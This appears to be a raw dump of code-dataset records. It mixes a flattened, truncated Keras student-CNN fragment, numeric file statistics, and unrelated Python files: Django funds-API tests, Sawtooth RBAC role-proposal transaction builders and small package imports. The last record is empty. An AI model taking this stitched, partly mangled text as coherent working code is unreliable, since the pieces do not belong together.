#x = keras.layers.BatchNormalization()(x) x1 = keras.layers.MaxPool2D()(x1) x1 = keras.layers.Dropout(0.2)(x1) x1 = keras.layers.Conv2D(16, kernel_size = 3, activation = 'relu', name = 'student_feature')(x1) x1 = keras.layers.Dropout(0.2)(x1) x = keras.layers.Flatten()(x1) x = keras.layers.Dense(10, activation = 'softmax')(x) model = keras.models.Model(inputs = inputA, outputs = [x1,x], name = 'StudentCNN') opt = tf.keras.optimizers.Adam(lr = 3e-3) model.compile( optimizer = opt, loss = ['mean_squared_error','sparse_categorical_crossentropy'], metrics = ['mean_squared_error','sparse_categorical_accuracy']) return model
40.456417
181
0.630045
7,839
58,945
4.585661
0.060467
0.116588
0.052077
0.100036
0.878321
0.858542
0.851253
0.842713
0.826189
0.816508
0
0.035148
0.21951
58,945
1,457
182
40.456417
0.746207
0.130885
0
0.746
0
0
0.064583
0.042112
0
0
0
0.000686
0
1
0.038
false
0
0.013
0.004
0.094
0.075
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7715ebbdb5b6d4598e7ce3c39086c9a497e9c8ba
218
py
Python
triplet_tools/__init__.py
maxsch3/pk-triplet
84fb9e7244a577760a1fcd0c3e6135c50b00ce69
[ "MIT" ]
1
2021-10-02T04:47:46.000Z
2021-10-02T04:47:46.000Z
triplet_tools/__init__.py
maxsch3/pk-triplet
84fb9e7244a577760a1fcd0c3e6135c50b00ce69
[ "MIT" ]
11
2020-01-19T19:38:45.000Z
2022-02-10T00:43:53.000Z
triplet_tools/__init__.py
maxsch3/triplet-toolbox
84fb9e7244a577760a1fcd0c3e6135c50b00ce69
[ "MIT" ]
null
null
null
from .losses.triplet_batch_hard_loss import triplet_batch_hard_loss from .losses.triplet_batch_semihard_loss import triplet_batch_semihard_loss from .losses.triplet_batch_priming_loss import triplet_batch_priming_loss
54.5
75
0.917431
33
218
5.515152
0.272727
0.395604
0.28022
0.362637
0.285714
0
0
0
0
0
0
0
0.055046
218
3
76
72.666667
0.883495
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
77597781d7200e2ed02885e1ed1ebec431397f5d
142
py
Python
jigu/core/auth/__init__.py
bongtrop/jigu
448bce8ce693f3f7c530bea0f2f268e22100937a
[ "MIT" ]
14
2020-03-03T06:46:39.000Z
2021-05-01T15:29:35.000Z
jigu/core/auth/__init__.py
bongtrop/jigu
448bce8ce693f3f7c530bea0f2f268e22100937a
[ "MIT" ]
9
2020-03-09T06:36:30.000Z
2021-02-15T14:40:48.000Z
jigu/core/auth/__init__.py
bongtrop/jigu
448bce8ce693f3f7c530bea0f2f268e22100937a
[ "MIT" ]
5
2020-05-30T22:38:34.000Z
2021-02-11T00:56:20.000Z
import jigu.core.auth.account import jigu.core.auth.transaction from jigu.core.auth.account import * from jigu.core.auth.transaction import *
28.4
40
0.816901
22
142
5.272727
0.318182
0.275862
0.413793
0.310345
0.431034
0
0
0
0
0
0
0
0.084507
142
4
41
35.5
0.892308
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
6224dba85bd8b41e616714a8438e53fb1d8992bd
148
py
Python
tests/tests/paths.py
hyperoslo/django-pipeline
9f538190652e089cc807c5c531e75d8ec75639f2
[ "MIT" ]
null
null
null
tests/tests/paths.py
hyperoslo/django-pipeline
9f538190652e089cc807c5c531e75d8ec75639f2
[ "MIT" ]
null
null
null
tests/tests/paths.py
hyperoslo/django-pipeline
9f538190652e089cc807c5c531e75d8ec75639f2
[ "MIT" ]
null
null
null
import os def _(path): # Make sure the path contains only the correct separator return path.replace('/', os.sep).replace('\\', os.sep)
21.142857
61
0.648649
21
148
4.52381
0.666667
0.189474
0.252632
0
0
0
0
0
0
0
0
0
0.209459
148
6
62
24.666667
0.811966
0.364865
0
0
0
0
0.033708
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
7
02a76c5d8a723f292f4fda36bf841ccff862dd02
5,262
py
Python
apps/funds/tests/test_api/private/test_invalid_requests.py
GiannisClipper/payments
94e08144597b3f4cd0de8485edf3f5535aeb9da6
[ "MIT" ]
null
null
null
apps/funds/tests/test_api/private/test_invalid_requests.py
GiannisClipper/payments
94e08144597b3f4cd0de8485edf3f5535aeb9da6
[ "MIT" ]
null
null
null
apps/funds/tests/test_api/private/test_invalid_requests.py
GiannisClipper/payments
94e08144597b3f4cd0de8485edf3f5535aeb9da6
[ "MIT" ]
null
null
null
from unittest import skip # noqa: F401 from rest_framework import status from funds.tests.test_api import ROOT_URL, BY_ID_1_URL, LIST_URL from . import AdminPrivateFundsAPITests, OwnerPrivateFundsAPITests class AdminPost(AdminPrivateFundsAPITests): '''Test admin's invalid POST requests to funds API.''' METHOD = 'POST' def test_when_values_exists(self): sample = self.samples['funds'][11] self.create_fund(**sample) res = self.api_request(ROOT_URL, self.METHOD, payload=sample, token=self.token) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) self.assertIn('errors', res.data) self.assertEqual(res.data['token'], self.token) def test_when_values_are_missing(self): sample = {} res = self.api_request(ROOT_URL, self.METHOD, payload=sample, token=self.token) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) self.assertIn('errors', res.data) self.assertIn('user', res.data['errors']) self.assertIn('code', res.data['errors']) self.assertIn('name', res.data['errors']) self.assertEqual(res.data['token'], self.token) class AdminGet(AdminPrivateFundsAPITests): '''Test admin's invalid GET requests to funds API.''' METHOD = 'GET' def test_request_when_id_not_exists(self): res = self.api_request(BY_ID_1_URL, self.METHOD, token=self.token) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) self.assertIn('errors', res.data) self.assertEqual(res.data['token'], self.token) class AdminPatch(AdminGet): '''Test admin's invalid PATCH requests to funds API.''' METHOD = 'PATCH' def test_when_values_exists(self): sample = self.samples['funds'][11] self.create_fund(**sample) sample = self.samples['funds'][12] self.create_fund(**sample) sample.pop('user', None) res = self.api_request(BY_ID_1_URL, 'PATCH', payload=sample, token=self.token) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) self.assertIn('errors', res.data) self.assertEqual(res.data['token'], self.token) def test_when_values_are_empty(self): sample = self.samples['funds'][11] self.create_fund(**sample) sample = {'user': None, 'code': None, 'name': None} res = self.api_request(BY_ID_1_URL, self.METHOD, payload=sample, token=self.token) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) self.assertIn('errors', res.data) self.assertIn('user', res.data['errors']) self.assertIn('code', res.data['errors']) self.assertIn('name', res.data['errors']) self.assertEqual(res.data['token'], self.token) class AdminDelete(AdminGet): '''Test admin's invalid DELETE requests to funds API.''' METHOD = 'DELETE' # To be executed the inherited tests class OwnerPost(OwnerPrivateFundsAPITests, AdminPost): '''Test owner's invalid POST requests to funds API.''' def test_when_values_are_missing(self): sample = {} res = self.api_request(ROOT_URL, self.METHOD, payload=sample, token=self.token) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) self.assertIn('errors', res.data) # No check for `user` in errors, automatically gets the owner self.assertIn('code', res.data['errors']) self.assertIn('name', res.data['errors']) self.assertEqual(res.data['token'], self.token) class OwnerGet(OwnerPrivateFundsAPITests, AdminGet): '''Test owner's invalid GET requests to funds API.''' METHOD = 'GET' def test_unauthorized_request(self): sample = self.samples['funds'][11] sample['user']['id'] = self.user['id'] + 1 # not equal to id of signed user self.create_fund(**sample) res = self.api_request(BY_ID_1_URL, self.METHOD, token=self.token) self.assertEqual(res.status_code, status.HTTP_403_FORBIDDEN) self.assertIn('errors', res.data) self.assertEqual(res.data['token'], self.token) class OwnerPatch(OwnerGet, AdminPatch): '''Test owner's invalid PATCH requests to funds API.''' METHOD = 'PATCH' class OwnerDelete(OwnerGet, AdminDelete): '''Test owner's invalid DELETE requests to funds API.''' METHOD = 'DELETE' class AdminGetList(AdminPrivateFundsAPITests): '''Test admin's invalid GET requests to funds API.''' METHOD = 'GET' def test_request_when_user_id_not_exists(self): res = self.api_request(LIST_URL + '?user_id=blabla', self.METHOD, token=self.token) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) self.assertIn('errors', res.data) self.assertEqual(res.data['token'], self.token) class OwnerGetList(OwnerPrivateFundsAPITests): '''Test owner's invalid list requests to funds API.''' METHOD = 'GET' def test_unauthorized_request(self): res = self.api_request(LIST_URL + '?user_id=blabla', self.METHOD, token=self.token) self.assertEqual(res.status_code, status.HTTP_403_FORBIDDEN) self.assertIn('errors', res.data) self.assertEqual(res.data['token'], self.token)
32.8875
91
0.676739
685
5,262
5.042336
0.135766
0.070353
0.072959
0.052113
0.808917
0.779965
0.773017
0.755646
0.742328
0.682976
0
0.010834
0.193082
5,262
159
92
33.09434
0.802638
0.119726
0
0.736264
0
0
0.065749
0
0
0
0
0
0.384615
1
0.098901
false
0
0.043956
0
0.351648
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
02b8e18b7a35835721fce0bf332841c5ad0e67f3
28,310
py
Python
transaction_creation/rbac_transaction_creation/role_transaction_creation.py
hyperultra/sawtooth-next-directory-poc
cb34b7b3d906bc5b5d429078ba5cf0ffc9af0401
[ "Apache-2.0" ]
null
null
null
transaction_creation/rbac_transaction_creation/role_transaction_creation.py
hyperultra/sawtooth-next-directory-poc
cb34b7b3d906bc5b5d429078ba5cf0ffc9af0401
[ "Apache-2.0" ]
9
2018-09-05T22:52:16.000Z
2018-09-14T22:44:29.000Z
transaction_creation/rbac_transaction_creation/role_transaction_creation.py
agoldingay/sawtooth-next-directory
0653609ce29c362137d965b7712ae31b5a2d27ed
[ "Apache-2.0" ]
null
null
null
# Copyright 2017 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ----------------------------------------------------------------------------- from rbac_addressing import addresser from rbac_transaction_creation.common import make_header_and_batch from rbac_transaction_creation.protobuf import rbac_payload_pb2 from rbac_transaction_creation.protobuf import role_transaction_pb2 def create_role(txn_key, batch_key, role_name, role_id, metadata, admins, owners): """Create a BatchList with a CreateRole transaction in it. Args: txn_key (Key): The transaction signer's key pair. batch_key (Key): The batch signer's key pair. role_name (str): The name of the Role. role_id (str): A uuid that identifies this Role. metadata (str): Client supplied information that is not parsed. admins (list): A list of User ids of the Users who are admins of this Role. owners (list): A list of User ids of the Users who are owners of this Role. Returns: tuple BatchList, batch header_signature tuple """ create_role_payload = role_transaction_pb2.CreateRole( role_id=role_id, name=role_name, metadata=metadata, admins=admins, owners=owners) inputs = [addresser.make_sysadmin_members_address(txn_key.public_key), addresser.make_role_attributes_address(role_id)] inputs.extend([addresser.make_user_address(u) for u in admins]) inputs.extend([addresser.make_user_address(u) for u in owners]) inputs.extend([addresser.make_role_admins_address( role_id=role_id, user_id=a) for a in admins]) inputs.extend([addresser.make_role_owners_address( role_id=role_id, user_id=o) for o in owners]) outputs = [addresser.make_role_attributes_address(role_id)] outputs.extend([addresser.make_role_admins_address( role_id=role_id, user_id=a) for a in admins]) outputs.extend([addresser.make_role_owners_address( role_id=role_id, user_id=o) for o in owners]) rbac_payload = rbac_payload_pb2.RBACPayload( content=create_role_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CREATE_ROLE) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_add_role_admins(txn_key, batch_key, proposal_id, role_id, user_id, reason, metadata): """Create a BatchList with a ProposeAddRoleAdmins transaction in it. Args: txn_key (Key): The txn signer key pair. batch_key (Key): The batch signer key pair. role_id (str): The role's id. user_id (str): The user that is being proposed to be an admin. reason (str): The client supplied reason for the proposal. metadata (str): The client supplied metadata. Returns: tuple BatchList, batch header_signature tuple """ propose_add_payload = role_transaction_pb2.ProposeAddRoleAdmin( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason, metadata=metadata) inputs = [addresser.make_user_address(user_id=user_id), addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, user_id), addresser.make_role_attributes_address(role_id=role_id)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose_add_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_ADD_ROLE_ADMINS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_add_role_admins(txn_key, batch_key, proposal_id, role_id, user_id, reason): """Creates a BatchList with a ConfirmAddRoleAdmin transaction in it. Args: txn_key (Key): The txn signer key pair. batch_key (Key): The batch signer key pair. proposal_id (str): The proposal's identifier. role_id (str): The role's identifier. user_id (str): The user's signer public key. reason (str): The client supplied reason to confirm. Returns: tuple BatchList, batch header_signature tuple """ confirm_add_payload = role_transaction_pb2.ConfirmAddRoleAdmin( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_role_admins_address( role_id=role_id, user_id=txn_key.public_key)] inputs.append(addresser.make_proposal_address(role_id, user_id)) outputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_add_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_ADD_ROLE_ADMINS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_add_role_admins(txn_key, batch_key, proposal_id, role_id, user_id, reason): reject_add_payload = role_transaction_pb2.RejectAddRoleAdmin( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_role_admins_address( role_id=role_id, user_id=txn_key.public_key)] inputs.append(addresser.make_proposal_address(role_id, user_id)) outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_add_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_ADD_ROLE_ADMINS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_remove_role_admins(txn_key, batch_key, proposal_id, role_id, user_id, reason, metadata): propose = role_transaction_pb2.ProposeRemoveRoleAdmin( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason, metadata=metadata) inputs = [addresser.make_user_address(user_id=user_id), addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, user_id), addresser.make_role_attributes_address(role_id=role_id)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_REMOVE_ROLE_ADMINS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_remove_role_admins(txn_key, batch_key, proposal_id, role_id, user_id, reason): confirm_add_payload = role_transaction_pb2.ConfirmRemoveRoleAdmin( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_role_admins_address( role_id=role_id, user_id=txn_key.public_key)] inputs.append(addresser.make_proposal_address(role_id, user_id)) outputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_add_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_REMOVE_ROLE_ADMINS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_remove_role_admins(txn_key, batch_key, proposal_id, role_id, user_id, reason): reject_add_payload = role_transaction_pb2.RejectRemoveRoleAdmin( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_role_admins_address( role_id=role_id, user_id=txn_key.public_key)] inputs.append(addresser.make_proposal_address(role_id, user_id)) outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_add_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_REMOVE_ROLE_ADMINS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_add_role_owners(txn_key, batch_key, proposal_id, role_id, user_id, reason, metadata): propose_payload = role_transaction_pb2.ProposeAddRoleOwner( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_role_owners_address(role_id, user_id), addresser.make_role_attributes_address(role_id=role_id), addresser.make_user_address(user_id=user_id), addresser.make_proposal_address(role_id, user_id)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_ADD_ROLE_OWNERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_add_role_owners(txn_key, batch_key, proposal_id, role_id, user_id, reason): confirm_payload = role_transaction_pb2.ConfirmAddRoleOwner( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_owners_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_ADD_ROLE_OWNERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_add_role_owners(txn_key, batch_key, proposal_id, role_id, user_id, reason): reject_payload = role_transaction_pb2.RejectAddRoleOwner( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_ADD_ROLE_OWNERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_remove_role_owners(txn_key, batch_key, proposal_id, role_id, user_id, reason, metadata): propose = role_transaction_pb2.ProposeRemoveRoleOwner( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason, metadata=metadata) inputs = [addresser.make_role_owners_address(role_id, user_id), addresser.make_role_attributes_address(role_id=role_id), addresser.make_user_address(user_id=user_id), addresser.make_proposal_address(role_id, user_id)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_REMOVE_ROLE_OWNERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_remove_role_owners(txn_key, batch_key, proposal_id, role_id, user_id, reason): confirm_payload = role_transaction_pb2.ConfirmRemoveRoleOwner( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_owners_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_REMOVE_ROLE_OWNERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_remove_role_owners(txn_key, batch_key, proposal_id, role_id, user_id, reason): reject_payload = role_transaction_pb2.RejectRemoveRoleOwner( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_admins_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_REMOVE_ROLE_OWNERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_add_role_members(txn_key, batch_key, proposal_id, role_id, user_id, reason, metadata): propose_payload = role_transaction_pb2.ProposeAddRoleMember( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_role_members_address(role_id, user_id), addresser.make_role_attributes_address(role_id=role_id), addresser.make_user_address(user_id=user_id), addresser.make_proposal_address(role_id, user_id)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_ADD_ROLE_MEMBERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_add_role_members(txn_key, batch_key, proposal_id, role_id, user_id, reason): confirm_payload = role_transaction_pb2.ConfirmAddRoleMember( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_owners_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_members_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_ADD_ROLE_MEMBERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_add_role_members(txn_key, batch_key, proposal_id, role_id, user_id, reason): reject_payload = role_transaction_pb2.RejectAddRoleMember( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_owners_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_ADD_ROLE_MEMBERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_remove_role_members(txn_key, batch_key, proposal_id, role_id, user_id, reason, metadata): propose = role_transaction_pb2.ProposeRemoveRoleMember( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason, metadata=metadata) inputs = [addresser.make_role_members_address(role_id, user_id), addresser.make_role_attributes_address(role_id=role_id), addresser.make_user_address(user_id=user_id), addresser.make_proposal_address(role_id, user_id)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_REMOVE_ROLE_MEMBERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_remove_role_members(txn_key, batch_key, proposal_id, role_id, user_id, reason): confirm_payload = role_transaction_pb2.ConfirmRemoveRoleMember( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_owners_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_members_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_REMOVE_ROLE_MEMBERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_remove_role_members(txn_key, batch_key, proposal_id, role_id, user_id, reason): reject_payload = role_transaction_pb2.RejectRemoveRoleMember( proposal_id=proposal_id, role_id=role_id, user_id=user_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, user_id), addresser.make_role_owners_address(role_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, user_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_REMOVE_ROLE_MEMBERS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_add_role_tasks(txn_key, batch_key, proposal_id, role_id, task_id, reason, metadata): propose_payload = role_transaction_pb2.ProposeAddRoleTask( proposal_id=proposal_id, role_id=role_id, task_id=task_id, reason=reason, metadata=metadata) inputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_role_tasks_address(role_id, task_id), addresser.make_role_owners_address(role_id, txn_key.public_key), addresser.make_role_attributes_address(role_id), addresser.make_task_attributes_address(task_id)] outputs = [addresser.make_proposal_address(role_id, task_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_ADD_ROLE_TASKS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_add_role_tasks(txn_key, batch_key, proposal_id, role_id, task_id, reason): confirm_payload = role_transaction_pb2.ConfirmAddRoleTask( proposal_id=proposal_id, role_id=role_id, task_id=task_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_task_owners_address(task_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_role_tasks_address(role_id, task_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_ADD_ROLE_TASKS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_add_role_tasks(txn_key, batch_key, proposal_id, role_id, task_id, reason): reject_payload = role_transaction_pb2.RejectAddRoleTask( proposal_id=proposal_id, role_id=role_id, task_id=task_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_task_owners_address(task_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, task_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_ADD_ROLE_TASKS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def propose_remove_role_tasks(txn_key, batch_key, proposal_id, role_id, task_id, reason, metadata): propose = role_transaction_pb2.ProposeRemoveRoleTask( proposal_id=proposal_id, role_id=role_id, task_id=task_id, reason=reason, metadata=metadata) inputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_role_tasks_address(role_id, task_id), addresser.make_role_attributes_address(role_id), addresser.make_task_attributes_address(task_id)] outputs = [addresser.make_proposal_address(role_id, task_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=propose.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.PROPOSE_REMOVE_ROLE_TASKS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def confirm_remove_role_tasks(txn_key, batch_key, proposal_id, role_id, task_id, reason): confirm_payload = role_transaction_pb2.ConfirmRemoveRoleTask( proposal_id=proposal_id, role_id=role_id, task_id=task_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_task_owners_address(task_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_role_tasks_address(role_id, task_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=confirm_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.CONFIRM_REMOVE_ROLE_TASKS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key) def reject_remove_role_tasks(txn_key, batch_key, proposal_id, role_id, task_id, reason): reject_payload = role_transaction_pb2.RejectRemoveRoleTask( proposal_id=proposal_id, role_id=role_id, task_id=task_id, reason=reason) inputs = [addresser.make_proposal_address(role_id, task_id), addresser.make_task_owners_address(task_id, txn_key.public_key)] outputs = [addresser.make_proposal_address(role_id, task_id)] rbac_payload = rbac_payload_pb2.RBACPayload( content=reject_payload.SerializeToString(), message_type=rbac_payload_pb2.RBACPayload.REJECT_REMOVE_ROLE_TASKS) return make_header_and_batch( rbac_payload, inputs, outputs, txn_key, batch_key)
32.690531
79
0.612716
3,128
28,310
5.115729
0.053708
0.068616
0.058493
0.068991
0.893201
0.885577
0.869641
0.854706
0.845457
0.845269
0
0.004425
0.321406
28,310
865
80
32.728324
0.828536
0.073684
0
0.849294
0
0
0
0
0
0
0
0
0
1
0.039246
false
0
0.006279
0
0.084772
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
02c49ff0fd0421f8e05f265a53de5deae22afe36
142,732
py
Python
azure-keyvault/azure/keyvault/generated/key_vault_client.py
azuresdkci1x/azure-sdk-for-python-1722
e08fa6606543ce0f35b93133dbb78490f8e6bcc9
[ "MIT" ]
1
2018-11-09T06:16:34.000Z
2018-11-09T06:16:34.000Z
azure-keyvault/azure/keyvault/generated/key_vault_client.py
azuresdkci1x/azure-sdk-for-python-1722
e08fa6606543ce0f35b93133dbb78490f8e6bcc9
[ "MIT" ]
null
null
null
azure-keyvault/azure/keyvault/generated/key_vault_client.py
azuresdkci1x/azure-sdk-for-python-1722
e08fa6606543ce0f35b93133dbb78490f8e6bcc9
[ "MIT" ]
1
2018-11-09T06:17:41.000Z
2018-11-09T06:17:41.000Z
